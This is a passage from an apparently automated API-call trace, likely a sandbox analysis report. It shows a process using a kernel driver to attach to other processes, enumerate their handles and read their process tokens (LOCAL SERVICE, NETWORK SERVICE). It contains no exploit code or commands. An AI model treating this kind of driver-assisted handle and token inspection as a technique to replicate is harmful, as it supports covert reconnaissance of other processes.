RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.675] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.675] PsAcquireProcessExitSynchronization () returned 0x0 [0093.675] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0) [0093.675] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0093.675] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.675] PsReleaseProcessExitSynchronization () returned 0x2 [0093.675] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0093.675] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.675] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0093.675] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.675] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.675] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.675] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.675] PsAcquireProcessExitSynchronization () returned 0x0 [0093.675] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0) [0093.675] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.676] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.676] PsReleaseProcessExitSynchronization () returned 0x2 [0093.676] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0093.676] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003ab3044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab3044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.676] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.676] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.676] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.676] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.676] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.676] PsAcquireProcessExitSynchronization () returned 0x0 [0093.676] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0) [0093.676] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.676] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.676] PsReleaseProcessExitSynchronization () returned 0x2 [0093.676] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0093.676] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800211a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.676] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.676] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.676] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.676] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0093.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.676] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0093.676] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800006d4) returned 0x0 [0093.676] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd2 [0093.676] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800261a840 | out: TokenHandle=0xfffffa800261a840*=0xc8) returned 0x0 [0093.676] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0093.676] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.676] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.677] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.805] CloseHandle (hObject=0xc8) returned 1 [0093.805] CloseHandle (hObject=0xc0) returned 1 [0093.805] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.805] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.805] PsAcquireProcessExitSynchronization () returned 0x0 [0093.805] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.805] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0093.805] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.805] PsReleaseProcessExitSynchronization () returned 0x2 [0093.805] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.805] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.805] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0093.805] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.805] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.805] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.805] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.805] PsAcquireProcessExitSynchronization () returned 0x0 [0093.805] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.805] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0093.805] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.805] PsReleaseProcessExitSynchronization () returned 0x2 [0093.805] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.805] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.805] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0093.805] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.805] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.805] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.805] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.805] PsAcquireProcessExitSynchronization () returned 0x0 [0093.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.806] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0093.806] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.806] PsReleaseProcessExitSynchronization () returned 0x2 [0093.806] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.806] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.806] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0093.806] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.806] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.806] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.806] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.806] PsAcquireProcessExitSynchronization () returned 0x0 [0093.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.806] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.806] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.806] PsReleaseProcessExitSynchronization () returned 0x2 [0093.806] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.806] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.806] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.806] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.806] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.806] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.806] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.806] PsAcquireProcessExitSynchronization () returned 0x0 [0093.806] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.806] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.806] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.806] PsReleaseProcessExitSynchronization () returned 0x2 [0093.806] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.806] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.806] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.806] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.807] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.807] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.807] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.807] PsAcquireProcessExitSynchronization () returned 0x0 [0093.807] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880052335d0) [0093.807] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0093.807] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.807] PsReleaseProcessExitSynchronization () returned 0x2 [0093.807] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0093.807] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.807] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0093.807] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.807] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.807] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0093.807] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.807] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0093.807] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0093.807] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0093.807] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa8003526440 | out: TokenHandle=0xfffffa8003526440*=0xc8) returned 0x0 [0093.807] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0093.807] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.807] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.807] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.809] CloseHandle (hObject=0xc8) returned 1 [0093.809] CloseHandle (hObject=0xc0) returned 1 [0093.809] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.809] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.809] PsAcquireProcessExitSynchronization () returned 0x0 [0093.809] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.809] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0093.809] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.809] PsReleaseProcessExitSynchronization () returned 0x2 [0093.809] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.809] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.809] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0093.809] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.809] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.809] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.809] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.809] PsAcquireProcessExitSynchronization () returned 0x0 [0093.809] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.809] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0093.809] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.810] PsReleaseProcessExitSynchronization () returned 0x2 [0093.810] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.810] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.810] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0093.810] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.810] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.810] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.810] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.810] PsAcquireProcessExitSynchronization () returned 0x0 [0093.810] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.810] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0093.810] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.810] PsReleaseProcessExitSynchronization () returned 0x2 [0093.810] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.810] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.810] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0093.810] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.810] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.810] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.810] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0093.810] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.810] PsAcquireProcessExitSynchronization () returned 0x0 [0093.810] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880052335d0) [0093.810] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0093.810] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.810] PsReleaseProcessExitSynchronization () returned 0x2 [0093.810] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0093.810] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.810] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0093.810] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.810] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.811] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.811] 